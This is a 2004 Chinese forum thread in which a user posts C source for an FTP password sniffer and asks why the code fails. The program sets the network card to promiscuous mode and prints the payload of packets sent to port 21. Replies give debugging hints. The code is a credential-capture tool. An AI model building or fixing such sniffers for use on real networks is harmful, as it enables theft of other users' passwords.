请教:一个简单的sniffer程序:)

brisk 2004-03-17 11:34:42
一个简单的ftp密码sniffer

/************************ftp_sniffer.c****************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>

#define FTP 21

#define INTERFACE "eth0" /* 默认网卡 */

int set_promisc(char *interface,int sock) /* 把网卡设置成杂乱模式的函数 */
{
struct ifreq ifr; /* 定义一个ifreq结构 */

strncpy(ifr.ifr_name, interface,strlen(interface)+1); /* 输入网卡名 */
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) { /* 接收网卡信号 */
printf("Could not retrive flags for the interface\n");
exit(0);
}

ifr.ifr_flags |= IFF_PROMISC; /* 设置网卡信号 = IFF_PROMISC */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) { /* 把网卡设置成杂乱模式 */
printf("Could not set the PROMISC flag.\n");
exit(0);
}

printf("Setting interface ::: %s ::: to promisc\n", interface);
}

main()
{
struct iphdr *ip;
struct tcphdr *tcp; /* 定义tcp,ip sockaddr结构变量 */
struct sockaddr_in addr;

char buffer[1024];
char *data;

int sock,byte_size,addrlen;

addrlen = sizeof(addr);
if(( sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { /* 建立套接字,使用SOCK_RAW */
printf("socket failt \n");
exit(0);
}

set_promisc(INTERFACE,sock); /* 调用把网卡设置成杂乱模式的函数 */

ip = (struct iphdr *)buffer; /* 格式化buffer,把它弄成iphdr结构的格式 */
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr)); /* 格式化去掉iphdr后的buffer */

while(1)
{
byte_size = recvfrom(sock,(char *)&buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&addrlen); /* 从套接字接收 */

if((ntohs(tcp->dest)) == FTP) /* sniffer FTP 密码,详情见struct tcphdr */
{
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)]; /* data 等于去掉iphdr和tcphdr后的buffer内容 */
printf("data: %s",data);
}
}
}


//在linux中gcc编译后,总是输出
“Could not retrive flags for the interface”!为什么?
...全文
64 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
young_wind 2004-03-17
  • 打赏
  • 举报
回复
你IOCTL前先对struct ifreq ifr做个拷贝
不做的话操作会覆盖接口的IP地址的
你试试看呢

brisk 2004-03-17
  • 打赏
  • 举报
回复
to young_wind(没有你我怎么办) :
还是不行啊,赫赫 帮忙再看看:)
brisk 2004-03-17
  • 打赏
  • 举报
回复
赫赫,明白了,多谢!

4,451

社区成员

发帖
与我相关
我的任务
社区描述
云计算 云安全相关讨论
社区管理员
  • 云安全社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧